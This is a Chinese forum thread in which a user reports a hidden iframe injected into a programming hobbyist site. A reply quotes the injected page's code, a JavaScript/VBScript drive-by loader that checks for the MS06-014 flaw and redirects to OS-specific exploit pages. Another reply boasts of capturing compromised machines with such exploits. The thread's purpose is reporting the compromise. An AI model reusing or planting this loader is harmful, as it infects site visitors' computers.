回 帖 发 新 帖 刷新版面

主题:编程爱好者网站被挂马了

打开页面后发现,在每个页面的<html>标签之前,都有一句:
<iframe src='http://www.hyap98.com/123/ad.htm' height='0'></iframe>

回复列表 (共9个回复)

沙发

被iframe引入的这个页面的代码:

[code]
<iframe src='http://www.hyap98.com/123/ad.htm' height='0'>
</iframe>                                                                                                                 
<script language="javascript">
window.status="";
function detectOS()
{
if(navigator.userAgent.indexOf("Windows NT 5.1") != -1)
{
OS = "Windows XP";
}
else
{
if(navigator.userAgent.indexOf("Windows NT 5.2") != -1)
{OS = "Windows 2003";}
else
{OS = "Windows 2000";}
}
return OS;
}
function MakeItSo()
{
if(detectOS() == "Windows XP")
{
//操作系统为xp,执行xp的Oday网马
window.location.href="vip.htm";
}
else {if(detectOS() == "Windows 2003")
{
//操作系统为2003
window.location.href="aaa.htm";
}
else
{
//操作系统为2K,执行2K的Oday网马
window.location.href="aaa.htm";
}
}
}
</script>
<script language=VBScript>
on error resume next
aa="object"
aaa="classid"
aaaa="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
bb="Microsoft.XMLHTTP"
Set downf = document.createElement(aa)
downf.setAttribute aaa, aaaa
str=bb
Set O = downf.CreateObject(str,"")
if Not Err.Number = 0 then
err.clear
//没有MS06-014漏洞,3秒后判断操作系统类型执行不同的Oday网马
document.write("<scr"&"ipt language=""javascript"">
window.setTimeout(""MakeItSo()"",3000);</sc"&"ript>")
else
//有MS06-014漏洞,执行06-014的网马014.htm
document.write("<iframe width=""0"" height=""0"" src=""aaa.htm""></iframe>")
end if
</script>


[/code]

板凳


顺便发现新问题,论坛的这个格式很容易乱啊...

3 楼

还是0day马?

这个马马N年就出来了,他这个应该是智能判断,同时生成ms06014,017,..还有ANI吧~

反正在那是这个漏洞刚出的时候,到是抓了不少肉鸡~^_^~

现在过时了吧。。。。

4 楼

关于那页面的内容我想你得找挂马的人去讨论。

5 楼

您好,我因为前两天外出旅游,没有看过网站。今天刚回来,检查了一下网站的文件,但并没有发现您说的被挂马的情况,请问您是在哪个页面看到的呢?

6 楼

你好,基本所有页面都有,首页有,下载页面有,论坛有......
瑞星会报警。

然后,我公告这个问题之后大约几个小时,页面里的这一句代码就莫名其妙的消失了。
我还以为是你悄悄的处理了呢!

既然你是今天才知道,那我想,你得好好的检查一下贵网站的安全性了。
既然有一个人能挂马,不排除有第二第三个。
到现在为止,你网站生成的html代码里,第一行依然是个空白行,<html>标签是从第二行开始的。

7 楼

btw,我就是为了发这个帖子,才注册了一个id。
因为不愿意看到一个历史还算长的不错的编程站点被谁恶意xx

8 楼

是这样的,我检查了网站文件的更新记录和一些监控日志,在7日到10日的这段时间内,并未有任何网站文件被修改的记录。另外网站是有文件自动恢复程序,可以快速恢复被恶意篡改的文件,但是从该程序运行报告来看,也没有发现曾过有恢复的记录。另外也没有其他的网友报告有发现挂马情况,所以我估计可能还是虚惊一场吧,不过也谢谢您的提醒,以便我今后更加注意网站安全方面的工作。

9 楼

那只能有一种原因了,就是我上网的线路被电信强奸了。

我来回复

您尚未登录,请登录后再回复。点此登录或注册